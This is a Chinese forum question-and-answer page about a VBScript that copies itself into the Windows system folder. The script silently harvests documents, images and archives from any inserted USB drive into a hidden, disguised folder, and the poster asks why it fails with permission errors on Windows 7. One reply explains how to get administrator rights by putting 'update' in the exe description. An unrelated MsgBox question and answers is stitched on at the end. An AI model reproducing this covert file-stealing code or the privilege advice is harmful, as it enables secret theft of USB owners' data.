VB 运行错误 没有权限

Posted 2023-05-08

oStr = "txt|jpg|doc|pdf|bmp|png|xls|exls|docx|psd|rar|zip" '文件类型，添加文件类型用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 1 '1为task文件夹，2为recycler文件夹，0为不隐藏
oOut = 0 '1复制完毕后退出,0复制完毕后不退出，继续循环
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
'Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 1800000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType

else '如果是其它目录，先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
'Msgbox "安装成功"
end if

Set fso=nothing
Set wshell=nothing

'遍历目录函数
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID=d6277990-4c6a-11cf-8d87-00aa0060f5bf")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID=645FF040-5081-101B-9F08-00AA002F954E")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub
这是一个复制U盘的小程序，XP下正常运行，7以上的系统提示没有权限，修改过everyone权限也是不行，请哪位高人帮忙看下哪里出的问题

　　VB写的程序本身没问题的话，你可以在生存EXE时获取管理员权限。
　　尝试如下操作：
　　1、选择”工程”→”工程1 属性”，在打开的”工程1 – 工程属性”面板中，点”生成”选项卡，在里面的”版本信息”的”文件描述”中写入值”update”(这里就是关键，只要输入包含有”update”字符，生成的exe就会与管理员方式运行)，好了，
　　2、这时生成的exe文件就会在图标上自动加上一个盾牌标志，双击运行试一下吧，呵～ 操作系统自己会检测文件名是否包含Setup/Install/Update。 参考技术A 提示很明显了 你这个程序运行的权限过低。
win7以上 对文件夹，或者文件都要求权限。

在visual basic（而不是VB.net）中创建一个错误弹出框

如何在Visual Basic中弹出错误？

更新：我尝试通过说明在visual basic中弹出一个弹出窗口

call MsgBox("This is a pop-up message", 0, "A Message")

我不再收到编译错误，但现在我遇到了运行时错误

权限被拒绝：'MsgBox'

这是代码的概述

<%
'other functions
Function parseString(aString)
    if startPos > 0 then
     'code
    Else
      call MsgBox("This is a pop-up message", 0, "A Message")
    End if
End Function
'other functions
%>

答案

Visual Basic的MsgBox函数应该可以解决问题。示例here：

MsgBox("This is a pop-up message", 0, "A Message")

只需用消息文本/标题替换字符串，然后使用整数来控制生成的弹出窗口的按钮。

另一答案

试试这个：Dim i As Integer

i = MsgBox("Message", vbCritical, "title")

如果发生错误，它将返回1。